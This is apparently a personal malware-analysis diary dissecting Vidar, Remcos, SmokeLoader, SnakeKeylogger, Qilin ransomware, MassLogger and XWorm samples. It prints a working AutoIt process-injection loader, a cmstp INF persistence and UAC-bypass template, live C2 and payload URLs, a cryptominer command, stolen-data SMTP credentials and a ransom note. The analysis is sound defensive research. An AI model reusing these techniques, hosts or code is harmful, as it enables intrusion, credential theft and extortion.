VIDAR Malware
Dropper SHA256: b30e7cf92bdb26c05c226e0d5c82ce839a90cbef61a7a5305bd3fae87905090f
Logger/Stealer SHA256: 9e126eb3b73eeae34c46a4b3dc9dc184a19708fd2b2433302c69e6c06b3929ed
REMCOS RAT Malware
sha256: 52db756a72b71d461eb46a8f40e04c6e594c1f3c5da27901c2a47f890dd279f8
SMOKELOADER Malware
sha256: ff5fc5c5318fa051992c7c3408d203f306c13b5fcd9400f860f734ce47a3b676
SNAKEKEYLOGGER Malware
sha256: fa462108bc863ef19bb7572e7c77ab4f4b5694ae292e06d007418863e4b45d7e
AGENDARANSOMWARE Malware
sha256: e90bdaaf5f9ca900133b699f18e4062562148169b29cb4eb37a0577388c22527
MASSLOGGER Malware
sha256: 7e3317f91f7d8e570800045ca8ba7e2ff136e0ea3621ed1deca8b7763b45f624
XWORM Malware
sha256: f702386d9edceea53e49ba27e508baf34eeaa0ad5a87fb70913f95330dbc92a3
DARKCLOUD Malware
sha256: 0f33de6cb6b6b634897593064b4922da5df3eb588589eb09c5fb2544bfb824ac
DONUTLOADER Malware
sha256: 3a6e6e8548ab3b9b8224dfcfb3b7838949ee5ad7b029c16e235d9c81ad653a6b
MIRAI Malware
sha256: 0dad0cc96ea8239f5e5c15a7b1e01db862c1bb93bf01d551324309ea1b628e9b
APOLLOSHADOW Malware
sha256: 13fafb1ae2d5de024e68f2e2fc820bc79ef0690c40dbfd70246bcc394c52ea20
XENORAT Malware
sha256: ac2d9dec2044d5eae8335eb2ace24a035448c3b2ff52955bb295d69d5cbcbd54
Analyzed just for practice and fun
SHA256: fa132c7ca003a5fd97d96c3b656212802cf70f1735283b05144bdcae03e24894
SHA256: 48126e558daec7e93f455c1268e37cab6e4754e245568fc6d8beb54277addef7
This is a dropper ps1 script for Vidar
malware.
Variables are encoded after starting script, my guess is this way used for evading AVs.
Looking at the decoded variables, script's functionality can be guessed.



Now, Add-Exclusion is a function, that is used for defence evasion:

Start-Process, will start the C:\Users\<user>\AppData\Local\updater.exe
with Window Style hidden, Run as Administrator
option, and -Wait is used to suppresses the command prompt until the processes finish
.
finally
part is used to remove clean everything, leave a fake message to Host and finish script.
Continue: 9e126eb3b73eeae34c46a4b3dc9dc184a19708fd2b2433302c69e6c06b3929ed
To start Analysis, I put updater.exe in %LOCALAPPDATA%. Uncheck "DLL can move" in DllCharacteristics. Load malware inside x32dbg
Checking the strings of malware, C2 server's http address can be seen:
And as it can be seen from strings, malware utilizes third string as user_agent.
Now the important part for us is, CreateProcessW
which creates another process of itself from same directory. My guess is, it is used for avoiding detection, later current process will write memory of child process:

in our case, 0x43C is handle to child process and 0x3FC0E60
is address of the data that will be written into 0x400000
and size is 0x400
, this WriteProcessMemory will happen a lot of times in a row, especially in 7 times a row:

I dont want to list all WriteMemoryProcess
as later we can just check 0x400000
in child process if needed. The last WriteProcessMemory
address is 0xE4F008
(changes everytime).
as we move along, ResumeThread
function is called in parent process, which will start the logger (child process). I attach debugger to child process and continue process in parent process.
After checking strings of child process, it can be seen, it needs 149 functions from these dlls: kernel32, ntdll, advapi32, user32, gdi32, shell32, ole32, ws2_32, shlwapi, wininet, bcrypt, dbghelp, msvcrt
Now the important part starts for us at 0x417210
, analyzing this process step by step is a little difficult because of so many unnecessary/necessary jumps, there is just a lot, so it doesn't help. Even just putting breakpoints over the functions that process will call, can be easier.
Later in process, a new directory will be created under C:\ProgramData\
with random name. (in my case y5ppz
)
InternetCrackUrlA will be called to crack https://t.me/l793oy into components
InternetConnectA used to connect t.me
using handle returned by InternetOpenA
HttpOpenRequestA sends request using handle to t.me:

After t.me
, process will do same things for https://e.mx.goldenloafuae.com
which I suspect is C2. some sandboxes, analyzers didn't specify this url and at the moment this server is down.
As https://e.mx.goldenloafuae.com
is still up, it was obvious that malware was sending, getting encrypted data. Such paths that were queried by malware were:
"C:\Users\eyes\AppData\Local\Google\Chrome\User Data\." "C:\Users\eyes\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\."
Later the files that were found would be copied into the folder that was created by malware:
CopyFileA (function used) 1: "C:\Users\eyes\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\000004.log" 2: "C:\ProgramData\y5ppz\jmgvk6ppph4e"
After sending files to attackers, malware deletes files.
I will also attach 1 example file that was copied (which is hard to make sense).
Also don't forget, in my case only Chrome
was installed, so it only stole its logs. The malware looks for:
-
Microsoft Edge
- Path:
\Microsoft\Edge Beta\User Data
- Path:
-
Google Chrome
- Path:
\Google\Chrome SxS\User Data
- Path:
-
Microsoft Edge SxS
- Path:
\Microsoft\Edge SxS\User Data
- Path:
-
Epic Privacy Browser
- Path:
\Epic Privacy Browser\User Data
- Path:
-
CocCoc Browser
- Path:
\CocCoc\Browser\User Data
- Path:
and the reason it checks extensions is:
-
TON Wallet
-
MyTonWallet
-
Alephium Wallet
-
Solflare
-
Trust Wallet
-
Hashpack
-
Leap Terra
-
Authenticator
-
Bitwarden
-
Oxygen (Atomic)
-
Ecto Wallet
-
Morphis Wallet
-
GeroWallet
-
UniSat Wallet
-
Pontem Wallet
-
Xverse Wallet
-
Venom Wallet
-
PaliWallet
-
Fluvi Wallet
-
Backpack Wallet
-
OKX Web3 Wallet
-
HAVAH Wallet
-
OpenMask Wallet
-
Rainbow Wallet
-
SafePal Wallet
-
KardiaChain
-
RoninWalletEdge
-
NamiWallet
-
KeePass Tusk
-
Frontier Wallet
-
Bitget Wallet
-
CyanoWallet
-
Ronin Wallet
-
MetaMask
-
Talisman Wallet
as it was clear how malware was functioning, I stopped analyzing. There were other notable functionalities of malware such as mapping hostnames of AVs to 127.0.0.1 so user will not be able to use any AV (Download or online check)
My suspicion is "https://t.me/l793oy" and "https://steamcommunity.com/profiles/76561199829660832" are used for C2 server
At the time of writing it is around a day that malicious script appeared in wild. To practice and improve myself I chose this malware.
For now in virustotal, it can be seen that malware is only detected by 9 AVs and the server for downloading second payload (png file) is still available to be downloaded.
Starting with analysis, The file's size is really big but only reason for it was repeat of same 10 lines.
Using ASCII table we can replace all occurrences of these variables with their Char values.
At first it looked like it is only repeating same 10 line for increasing file size (to look legit), but one more reason was probably trying to hide obfuscated code. (Maybe not but only good explanation is this)
At first it might not make sense but you can obviously see same pattern repeat in obfuscated code:
"⏳लბ⣿༑₫ᨑԿ🖲ᅫҌ⊣ሒȪ⟚"
and payload use categorised(ByVal inputText)
function to deobfuscate it. (By removing repeating line)
In this situation manually writing deobfuscater would be possible to but, it is waste of time. I just changed dozens = categorised(dozens)
with WScript.Echo categorised(dozens)
(Don't forget to only copy necessary parts in new file to avoid running something dangerous). I ran the code using cscript.exe to see output in my cmd.
Now to deobfuscate, we need to replace '#' with 'A' and convert base64 to string. Once again instead of using cyberchef I just run powershell code with removing Invoke-Expression
and beautify it a little bit. This is the code that downloads second file. (png)
A day later, the malicious file was deleted from server but I installed it before, so I can continue my analysis. I will also upload file to malware bazaar for anyone that needs it to analyse on his own.
This image file has Data starting with '<<BASE64_START>>' and ends with '<<BASE64_END>>' after decoded it is uploaded to memory but I modified code and used function:
[System.IO.File]::WriteAllBytes("C:\dnlib_image.dll", $cleared)
to save it in a file and when we load this dll to dnspy-x86, it loads it as Microsoft.Win32.TaskScheduler, Version=1.1.0.0
and dnlib inside, which is necessary part of us:
You can check out Robson Felix's VMDetectorto understand how it works. I modified qemu strings in my system so I have 0 "qemu" string, which helps me avoid detection. this script is really basic as it checks for only "qemu" (easy to stay undetected). Note: Even though this malware has function to check detect vms, it doesn't use it. (if you remember the arguments given when VAI is called, they are necessary part of this function)
In next line we can see the malicious code calling specific function that is interesting for us, VAI.
some of the variable names are written in Spanish, which might be a tip for malware writer being Spanish. (Of course, it is not a guarantee)
I have written custom code in C# to be able to manually debug this dll.
The functions, VAI didn't use: persistence, startuptask, startupreg (even though it could). (To make it clear these are not function names, these are variables)
Moving on, startup_onstart is actually used, let's understand what it does. Before understanding the function, I retrivied Hashtable values that are used through dll and saved all of them to single file to make analysis easier.
This is the part we have to analyze now:
if (flag12)
{
bool flag13 = !File.Exists(Path.Combine(caminho, nomedoarquivo + \uE11C.\uE000(12567) + extençao));
bool flag14 = flag13;
if (flag14)
{
Process.Start(new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
FileName = \uE11C.\uE000(12607), // "cmd.exe"
Arguments = string.Concat(new string[]
{
// "/C copy *."
\uE11C.\uE000(12599),
// "vbs"
extençao,
// " \""
\uE11C.\uE000(12770),
// 1. @"C:\ProgramData" 2. "millipascals"
Path.Combine(caminho, nomedoarquivo),
// "."
\uE11C.\uE000(12567),
// "vbs"
extençao,
// "\""
\uE11C.\uE000(12282)
})
}).WaitForExit();
}
Loader.ExecutarMetodoVAI(taskname, caminho, nomedoarquivo, extençao);
}
Basically checks if file exists, if not, starts new process: `cmd.exe /C copy *.vbs "C:\ProgramData\millipascals.vbs" copies the vbs file to its new location.
ExecutarMetodoVAI is called with arguments: "blinkered" @"C:\ProgramData" "millipascals" "vbs"
at first line, function searches for specific string in resources:
string text = Array.Find<string>(Assembly.GetExecutingAssembly().GetManifestResourceNames(), new Predicate<string>(Loader.<>c.<>9.\uE000));
When using dnspy, it hides compiler generated types and modules by default which you need to enable.
The (Loader.<>c.<>9.\uE000)
sets condition true if "string" ends with "UAC.dll"
and in next lines, first stream is loaded into an array and array was loaded to caller program (powershell):
byte[] array;
using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(text))
{
using (MemoryStream memoryStream = new MemoryStream())
{
manifestResourceStream.CopyTo(memoryStream);
array = memoryStream.ToArray();
}
}
Assembly assembly = Assembly.Load(array);
and calls "Main" method in UAC.dll (type:UAC.Program).
Which I will use new custom script to run it and debug manually.
First thing "UAC.dll" does is create a new string:
@"cmd.exe /c powershell -Command ""schtasks /Create /TN 'blinkered' /TR 'wscript.exe C:\ProgramData\millipascals.vbs' /SC ONSTART /RL HIGHEST /RU SYSTEM /F"""
with given parameters.
- Generates new inf file under temporary path.
- Changes "REPLACE_COMMAND_FILE" in
private static string INF_TEMPLATE = "[version]\r\nSignature=$chicago$\r\nAdvancedINF=2.5\r\n\r\n[DefaultInstall]\r\nCustomDestination=CustInstDestSectionAllUsers\r\nRunPreSetupCommands=RunPreSetupCommandsSection\r\n\r\n[RunPreSetupCommandsSection]\r\nREPLACE_COMMAND_LINE\r\ntaskkill /IM cmstp.exe /F\r\n\r\n[CustInstDestSectionAllUsers]\r\n49000,49001=AllUSer_LDIDSection, 7\r\n\r\n[AllUSer_LDIDSection]\r\n\"HKLM\", \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\CMMGR32.EXE\", \"ProfileInstallPath\", \"%UnexpectedError%\", \"\"\r\n\r\n[Strings]\r\nServiceName=\"CorpVPN\"\r\nShortSvcName=\"CorpVPN\"";
with the command created before. - writes this to inf file.
Part 2:
- Checks if file: "C:\Windows\system32\cmstp.exe" exists.
- if it does, Start new process:
C:\Windows\system32\cmstp.exe /au "<inf_file_path>"
- Basically creates new process to run at every startup for persistence purposes.
- Why use cmstp.exe? To avoid some detections.
That's all with UAC.dll, now we have to go back to dnlib.IO.Home.VAI
.
To sum up, in next steps malicious dll function launches MsBuild.exe and modifies its code and resumes thread.
- new process: MsBuild.exe created.
- Allocate new space
- Write the malicious program at address: 0x400000
What I did was copy every data that is written and combine them to get a single exe file (Microsoft Visual C++ 8)
copy /b to400000.bin+to401000.bin+to459000.bin+to472000.bin+to478000.bin+to47D000.bin combined.exe
So, the reason malware loads the exe file into MsBuild.exe is actually utilizing its capabilities (and hiding). So it might be possible to debug program alone but it is hard, so I will just debug it inside MsBuild.exe. I also found a key point in code like this:
unaff_ESI = FUN_0040e560(0x400000,0,pcVar7);
which I guess probably where we need to start from, because inside this function, it is also prossible to clearly see some interesting strings.
The strings clearly indicate the capabilities of malware: RAT, keylogger, stealer, logger.
By the way, Remcos RAT is available here to explore its capabilities.
After analyzing the exe file, the key points that can be addressed is:
- Malware use GetProcAddress function to find address of the functions it is going to use (which can make static analysis a little bit difficult), but you can basically change heap variable name's function name (for example in ghidra)
- Malware keep trying to connect with "relentlesswicked.duckdns.org"/"relentless.webredirect.org", which it can't, because it is down.
- The rest is specifically about remcos itself which if needed can be analyzed on its own, and it is not that hard as it is not packed or obfuscated.
I started analyzing the malware for a day, mostly using dynamic analyse tools. Normally the file that is downloaded is around 100kb but after unpacking itself, it is around 30kb. We need to put hardware breakpoint at 0x401ae0
to be able to dynamically debug program. (Note: I also put software breakpoint but after breakpoint hit, I removed it for further analysing).
Also I dumped process to ghidra, so I can do static analysis too. If you check memory in x32dbg or SystemInformer, everything can be Read/Written/Executed. That's why it can rewrite itself.
NOTE: The reason, we must not use software breakpoint is, it modifies malware's code by adding CC
at start of the assembly code, unpacking the code will cause issues.
Later analyzing the code, I realized some parts of the executable is still encoded, I let malware execute itself till 0x401BCD
so it can decode these parts, then dumped. Which later, I realized it didn't really decode and check ghidra again for any tips. There it is, code is actually decoding -> executing -> encoding itself. (Polymorphic) Which is why I couldn't do static analyzes:
What I will actually do is, again execute code but now, I will stop at when the part is executed so I can copy and paste it into my dumped exe file. For example, 0x40410a
etc.
Alright so, I changed bytes of the parts we need for further analyzing. the first function at 0x40410a
is putting functions' address from dlls to uninitialized DATAs:
(it is longer)
It will not be really hard to rename DATAs in ghidra to function names for static analysis. Which is what I am going to do next.
After Renaming variables, it is a lot more easier to do static analysing but there are still some functions that use decoder()
function in itself. That means I have to also rewrite their bytes.
Okay so as I progress, I try as much as I can to do static analysis and understand each function, I did few discoveries and 1 of the important ones is:
As I renamed, it checks for file name and returns accordingly, in our case as I run it first time with random name, it will return 0x10
but there are other possibilities too, which I might check if needed. That's the exact way malware searches for file names:
Which is not that hard to understand.
Sadly, while analysing this malware, I had to take break for a while (final exams in university) so I couldn't focus on the malware. But I can say, I did important parts like decoding some parts, to explain what the dropper part does is, (not really dropper because malware itself is actually as a whole doing everything) just delete WinSrv32 file and terminate any process with this name, write itself (or a part of itself), I couldn't analyse these parts as I dont have a lot of time. then start executing itself from there. I will provide smokeloader ghidra zip, because I believe it is not something to drop in trash, maybe 1 day I might come back and look into this and finish the job. I dont really know. (ghidra zip is in same folder as this file). (also provided dd32 file to know where the breakpoint has to be).
So normally, it is easier to analyze .NET variants of this malware as there are nearly no obfuscation, (maybe some simple encryption and variable names) so I decided to get C++ compiled binary around 1mb and analyze it, but I checked binary graph, anti-debug techniques and I think only protection they put is, checking if "IsDebuggerPresent", like there is nothing else, everything is so clear so I will just list key points of malware.
First time I opened malware in ghidra, the thing that was so interesting to me was, there a lot of imports of APIs and none of them were hidden or anything. Just wanted to check 1 of the APIs, found reference to it and traced back to see where the call was from and I hit the jackpot.
The Function at 0x414800
:
As you can see there is "if" statement, why? at first it actually initialize, the struct of the functions, luckily all of them have clear names so it is easy to understand what they do. Alright so, after initializing, other functions can search for function names one by one and find the function they need. Also, malware gives an hint on what these are, if you try to search for references of "IsDebuggerPresent", you will find:
Funny right? Malware literally tells us everything we need. This is AutoIT script, If you wonder what it is, it is used for automation processes using keyboard, mouse movement etc. Note: You can also patch IsDebuggerPresent and debugger without any issue, or just use scyllahide.
Note 2: I also forgot to mention that in "strings" of the malware you can easily see BACKSPACE, ESC, Mouse related strings, numpad etc. the strings that are related to date/time etc.
What we found out so far is, malware is keylogger and botnet, maybe there are more that I missed but I believe I got everything right.
Now, to understand in which order the malware calls functions, I found a technique that you can also write r2 or x32dbg script to automate:
First we put breapoint at, 0x414800
, after breakpoint is hit, you gonna see the value in stack is "0x0", so it is only for initialization stage, continue one more time and check call stack
, call is from 0x41C64A
.
So, it is obvious, this function searches for specific function name, if you put breakpoint at _wcscmp 0x41C654
, you can see every function it tries to search for and maybe you can even trace into the functions for more detail.
I believe this is enough for SnakeKeylogger analysis.
Note: I usually analyze malware and write randomly to remember my progress, most of my reports are not detailed and clean, it is just like a diary.
Day 1:
I wanted to analyze my first ransomware to learn something new and chose AgendaRansomware (I don't really know why). Anyways this is a 1.6mb rustc compiled binary. At first sight, it feels like there is no obfuscation and easy to analyze, but later on I found out, there is something disrupting static analysis. So far I found 2 things:
Ghidra can't disassemble because of these 2 additions made on malware, but luckly it is easy to fix, I will just write script to replace all of them with "NOP" and issue will (probably) going to be solved.
Other than that, I found out we have to provide "--password <pass>" to binary, else it will not be executed. That password is actually used later as login credential to a domain in tor network and requesting chiper/tool to decrypt files (by paying for it). Other than that, Malware also gives us logs:
[WARNING] Cannot open service: [BrokerInfrastructure]: 5 Service [CryptSvc] stopped Service [CryptSvc] disabled Service [DoSvc] stopped [WARNING] Cannot disable [DoSvc]: 5 [WARNING] Cannot stop [netprofm]: 1061 Service [netprofm] disabled [WARNING] Cannot stop [netprofm]: 1061 Service [netprofm] disabled [WARNING] Cannot stop [NlaSvc]: 1051 Service [NlaSvc] disabled [WARNING] Cannot stop [EventLog]: 1051 Service [EventLog] disabled [WARNING] Cannot open service: [gpsvc]: 5 [WARNING] Cannot open service: [MDCoreSvc]: 5 [WARNING] Cannot open service: [mpssvc]: 5 [WARNING] Cannot stop [netprofm]: 1061 Service [netprofm] disabled [WARNING] Cannot stop [NlaSvc]: 1051 Service [NlaSvc] disabled
And more, like which file it encrypted etc.
README-RECOVER-<extension>.txt contains this:
-- Qilin
Your network/system was encrypted.
Encrypted files have new extension.
-- Compromising and sensitive data
We have downloaded compromising and sensitive data from you system/network
If you refuse to communicate with us and we do not come to an agreementyour data will be published.
Data includes:
- Employees personal dataCVsDLSSN.
- Complete network map including credentials for local and remote services.
- Financial information including clients databillsbudgetsannual reportsbank statements.
- Complete datagrams/schemas/drawings for manufacturing in solidworks format
- And more...
-- Warning
1) If you modify files - our decrypt software won't able to recover data
2) If you use third party software - you can damage/modify files (see item 1)
3) You need cipher key / our decrypt software to restore you files.
4) The police or authorities will not be able to help you get the cipher key. We encourage you to consider your decisions.
-- Recovery
1) Download tor browser: https://www.torproject.org/download/
2) Go to domain
3) Enter credentials
-- Credentials
Extension: MmXReVIxLV
Domain: ueegj65kwr3v3sjhli73gjtmfnh2uqlte3vyg2kkyqq7cja2yx2ptaad.onion
login: 6f031ccd-526a-4806-82a8-2e7d926243d4
password: test
After walking inside the binary a little bit, i found out that, "CreateThread" functions play big role in the malware, in some parts of the malware, payloads are, let's say "hidden" and malware use "CreateThread" to start execution from these address. in ghidra they are not disassembled, instead shown as "DATA". My main purpose in this malware is finding out how the files are encrypted. Additionally, malware also disables some services, choosing which files to encrpyt (by comparing with the extensions), which I might look into deeply.
What I found out from dynamic analysis is, malware uses EnterCriticalSection API to check file extensions and encrypt if it doesn't get in conflict.
Day 2:
Alright so today I got a little bit near to success, as I found out where malware decrypts strings. And luckly it doesn't encrypt back so i can dump them all. it is going to help a lot for success.
Note: I will dump as many as strings possible (all of them) and save it in a file and save in github repo.
Additionally, I found out malware uses GetProcAddress to get NtWriteFile address and call it in a stealthy way. How it works is exactly like this:
Changes function itself with "NtWriteFile" address, so next time it calls this function, it actually calls itself. Same thing was done for other functions too, like: NtReadFile, NtCreateKeyedEvent...
Process of encryption:
NtCreateFile: get file handle NtQueryInformationVolume, NtQueryInformationFile: Check the extension of file (eg. .exe) compare with blacklisted extensions and choose to encrypt or not. The flags that can be configured before running ransomware are: skip, step, n, p, fast, accounts. In my version of agenda ransomware there is no guide on how to use them and some flags that are available in newer versions are not available to me. Example usage is this: " ./ransomware.exe --password test "skip: 10; fast" "
NtCloseFile
NtReadFile: Read contents, encypt them.
NtWriteFile: Write encrypted content.
Now, where is content encypted? in my version of agenda ransomware, function is located at 0x42edf0
which, using registers as arguments instead of stack. The decompiled function has length of around 875 lines, which is waste of time to analyze one by one. But it is the function. Additonally, analyzing this function will reveal the key itself.
MassLogger, an information-stealing malware designed to capture credentials, keystrokes, and clipboard data from victims, has been gaining prevalence in the threat landscape, with campaigns of various sizes and victimology observed worldwide. (Yes I copied this from broadcom lol)
Anyways, as usual I was on MalwareBazaar, wishing to find a fresh malware and the one that caught my eye was the MassLogger tagged bat file.
There are more example MassLogger executables uploaded by lowmal3, but I chose this one to analyze, because others were almost same thing and some of them were .Net executables, which is old technique used by MassLogger.
This is the malware flow I made while analyzing the malware:
NOTE: To make it clear, all these executables are injected into different legit applications and executed as new thread. i don't want to repeat it every time. At the top you can see a binary file named "sqNnY.bin", it will be our main target in this analysis but before that I want to tell what the other exe files does first. Starting from decrypted "aLlTeucWnrhechxHC.bin", first checks for debugger and simple VM detection (it is too easy to detect and bypass). Next "installer" is downloaded and executed, it drops new files and executes the au3 file. Last au3 file was most obfuscated one but it is not really difficult to deobfuscate it:
#cs
$vkkiihtobf = \nwekwowlwhwcogczoft
$nticu = C:\Windows\System32\charmap.exe
$cwipirw = kernel32.dll
$gsnfwdmcztclwcovhkqgi = OpenProcess
$gdixmilpmsosbp = VirtualAllocEx
$jecokuozjfa = WriteProcessMemory
$nhybphxljwzq = CreateRemoteThread
$rjhkweazp = CloseHandle
$fosxprdysmayinrykddwmelktkhpm = handle
$zixjs = dword
$xkitfxhddsbtsyuxw = bool
$lbcideknmrnsazvfazvjqox = ptr
$gbjoxnfcmfxrj = ulong_ptr
$gejrlpqkrcxnxubmbxdu = struct*
$buwqyl = dword*
$gvbdvltraydirvkh = byte[
$kplaadznpnfjmbmdfevat = ]
$mbklctvdfrnfgjakgsbqgx = 0x1F0FFF
$hnxremrogwsdjpoags = 0x3000
$invhvdcuydydlonc = 0x40
#ce
Global $pjbhqshpkkrdxsjiyzikstcp = FileOpen(@ScriptDir & $vkkiihtobf, 16)
Global $ewwhytiyydkuc = FileRead($pjbhqshpkkrdxsjiyzikstcp)
FileClose($pjbhqshpkkrdxsjiyzikstcp)
Global $mkzfc = BinaryLen($ewwhytiyydkuc)
If $mkzfc = 0 Then Exit
Global $mleqiqnnnbwglgehhkicmgaklppajh = DllStructCreate($gvbdvltraydirvkh & $mkzfc & $kplaadznpnfjmbmdfevat)
DllStructSetData($mleqiqnnnbwglgehhkicmgaklppajh, 1, $ewwhytiyydkuc)
For $rpmvy = 1 To $mkzfc
DllStructSetData($mleqiqnnnbwglgehhkicmgaklppajh, 1, BitXOR(DllStructGetData($mleqiqnnnbwglgehhkicmgaklppajh, 1, $rpmvy), 185), $rpmvy)
Next
Global $yapoagjwmurj = Run($nticu, "", @SW_HIDE)
Global $lshbtrvzmznfktftandgtxfwse = DllCall($cwipirw, $fosxprdysmayinrykddwmelktkhpm, $gsnfwdmcztclwcovhkqgi, $zixjs, $mbklctvdfrnfgjakgsbqgx, $xkitfxhddsbtsyuxw, False, $zixjs, $yapoagjwmurj)[0]
Global $ynvhvx = DllCall($cwipirw, $lbcideknmrnsazvfazvjqox, $gdixmilpmsosbp, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse, $lbcideknmrnsazvfazvjqox, 0, $gbjoxnfcmfxrj, $mkzfc, $zixjs, $hnxremrogwsdjpoags, $zixjs, $invhvdcuydydlonc)[0]
DllCall($cwipirw, $xkitfxhddsbtsyuxw, $jecokuozjfa, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse, $lbcideknmrnsazvfazvjqox, $ynvhvx, $gejrlpqkrcxnxubmbxdu, $mleqiqnnnbwglgehhkicmgaklppajh, $gbjoxnfcmfxrj, $mkzfc, $lbcideknmrnsazvfazvjqox, 0)
Global $zsingslima = DllCall($cwipirw, $fosxprdysmayinrykddwmelktkhpm, $nhybphxljwzq, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse, $lbcideknmrnsazvfazvjqox, 0, $gbjoxnfcmfxrj, 0, $lbcideknmrnsazvfazvjqox, $ynvhvx, $lbcideknmrnsazvfazvjqox, 0, $zixjs, 0, $buwqyl, 0)[0]
If $zsingslima Then DllCall($cwipirw, $xkitfxhddsbtsyuxw, $rjhkweazp, $fosxprdysmayinrykddwmelktkhpm, $zsingslima)
DllCall($cwipirw, $xkitfxhddsbtsyuxw, $rjhkweazp, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse)
Comment section is added by me and removed other decryption parts to make it clear. this au3 will execute our last exe file named "nwekwowlwhwcogczoft".
"nwekwowlwhwcogczoft" is simple C2 that can do 3 things "exit", "update", "stealer".
Simple and clear flow:
- Checks if "Software\rub" registry is written, if it is not created, tries to download "http://176.98.187.46:1778/stealer"
- Checks if the size of "stealer" more than 1000000, if yes, executing it. else pass.
- if "Software\rub" was not created, creates it.
- Checks if a file named "paygab" exists in %LOCALAPPDATA%, if so, xor it with "0x60" and execute it.
- if paygab doesn't exist, downloads "http://176.98.187.46:1778/miner" and executes it.
- miner will check if "sigverif.exe" is running, if so terminates it.
- Opens new "sigverif.exe" process, allocates space, writes the open source project named xmrig to be able to mine.
- Executes command:
C:\\Windows\\System32\\sigverif.exe --algo=rx/0 --url=gulf.moneroocean.stream:10001 --user=47GrvVWRXX9CbpQ7WKAqR1fP1fEYJpurvj8pAkF8FcgcUJTFi5KpTAmWxv4modTHTMNXZXSxa8K8SijdVHDiAUs69xgSt MY --pass=x --threads=2"
NOTE: This is new malware sample, as I was first person to submit this sample to virustotal and malware bazaar
- Going back to "nwekwowlwhwcogczoft", after trying these things, it checks status of our machine by using InternetOpenUrl API "http://176.98.187.46:1778/heartbeat?userID=xxxx-xxxxx-xxxxx-xxxx" (userID is your machine GUID that got fetched by this executable before from registry) and using InternetReadFile API to check if there is any new command given by C2, as I said there are 3 commands "stealer"/"custom" (same thing), "exit", "update".
- why "stealer/custom" can be given? because the one we downloaded before was actually decoy and size was lower than required. (why do this? to hide their project).
- other 2 "exit" and "update" are obvious, what they are.
There is a few possible case in our situation:
- the fake stealer is to take time of reverse engineers/malware analysts.
- it only gives real stealer to trusted (real victim machines by looking at their behaviour), for example I acted different than usual machines while analysing, requesting file a lot of times without checking heartbeat etc. or the attacker itself chooses which machines to send the real stealer. (most realistic case)
This was end of the "nwekwowlwhwcogczoft" executable.
The real deal was actually, "sqNnY.bin". Fun part is, I actually thought this is trash code to take our time but it is actually, the main part of the malware. After "xor"-ing it with the key even after you check the file type, it says "not a PE file". Also there is no "MZ" at the first 2 bytes of file. After a little, let' say "OSINT", I found out the "pe to shellcode" project was used for doing this: pe_to_shellcode. A free but powerful project.
"The goal of this project is to provide a possibility to generate PE files that can be injected with minimal effort. It is inspired by Stephen Fewer's ReflectiveDLLInjection - but the difference is that with pe2shc you can add the reflective loading stub post-compilation. Also, the header of the PE file is modified in such a way, that you can start executing the injected buffer from the very beginning - just like you would do with a shellcode. It will automatically find the stub, and continue loading the full PE."
The point is, it really makes 0 sense when you look at the file, it is just a bunch of bytes. There is literally not a single string, not even "This program cannot be run in DOS mode" (because it is shellcode not PE). But the thing is, it is possible to manually extract malware. It was not that hard as I could find some APIs used by shellcode, like VirtualAlloc, memset, etc.
I could extract malware and check in virustotal, if the malware is submited before and I was the first person to submit it too. malware bazaar and virustotal
It is .NET 32-bit executable with 0 encryption. and the funny part is malware developers choose this as their signature:
As it is not encrypted or anything I will just basically list what is can does and end it here:
-
Checks if user (victim) is expired by comparing time to "2025-02-15" (if yes exit)
-
runs through 3 empty functions, probably not implemented by malware dev for now: UltraSpeed.Taskmgr_Disabler(); UltraSpeed.CMD_Disabler(); UltraSpeed.Registeries_Disabler();
-
Tries to steal data from these browsers:
Chrome_Speed
Torch_Speed
CocCoc_Speed
QQ_Speed
xVast_Speed
QIPSurf_Speed
Microsoft_Speed
Chromium_Speed
Blisk_Speed
Brave_Speed
Nichrome_Speed
Kometa_Speed
Superbird_Speed
Opera_Speed
Comodo_Speed
Cent_Speed
Chedot_Speed
Ghost_Speed
Iron_Speed
UC_Speed
BlackHawk_Speed
Citrio_Speed
Uran_Speed
Falkon_Speed
Sputnik_Speed
CoolNovo_Speed
Chrome_Canary_Speed
Sleipnir_Speed
Kinzaa_Speed
Amigo_Speed
Epic_Speed
e360_English_Speed
e360_China_Speed
Vivaldi_Speed
Xpom_Speed
orbitum_Speed
Iridium_Speed
SevinStar_Speed
Outlook_Speed
Foxmail_Speed
FireFox
SeaMonkey
IceDragon
Thunderbird
FileZilla_Speed
WindowsKey_Speed
- sends these data using these:
private static string TheInfo = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(UltraSpeed.StrSignature + " \r\n\r\n\r\n==========PC INFO==========\r\nClient Name:" + Environment.MachineName, Operators.AddObject("\r\nFullDate: ", UltraSpeed.INFO_Date_Time())), "\r\nIP: " + UltraSpeed.INFO_SystemIP()), Operators.AddObject(Operators.AddObject(Operators.AddObject("\r\nCountry: ", UltraSpeed.INFO_Country()), "\r\n"), "==========PC INFO==========")));
private static string Host_Sender = "voiper@tamre.it";
private static string Host_Password = "KFRKgMrNoiIF";
private static string Host_Server = "mailserver12.vhosting-it.com";
private static string Host_Receiver = "remiset@remisat.com.uy";
private static string Host_Port = "465";
NOTE: the data I am talking about is usernames and passwords.
That is all for this analysis.
What's XWorm?
"Malware with wide range of capabilities ranging from RAT to ransomware." -malpedia
Small Story
I will keep things simple as usual, I was checking out MalwareBazaar and a javascript file tagged as "XWorm" caught my eye, downloaded it to check out later (I had a competition so there was no time to check for a week), This is the MalwareBazaar link of the file. First seen in the wild at "2025-07-23 16:04:23 UTC".
NOTE: All Files are provided at the end of this page.
Simple Flow
None of these files were downloaded from external source. Most of them were extracted using Base64 decryption and AES decryption.
Analysis (Dropper, Evasion)
Extracting files were simple for me. It was like, instead of letting code execute things, I was writing the decoded bytes/scripts to the file and analyze them one-by-one.
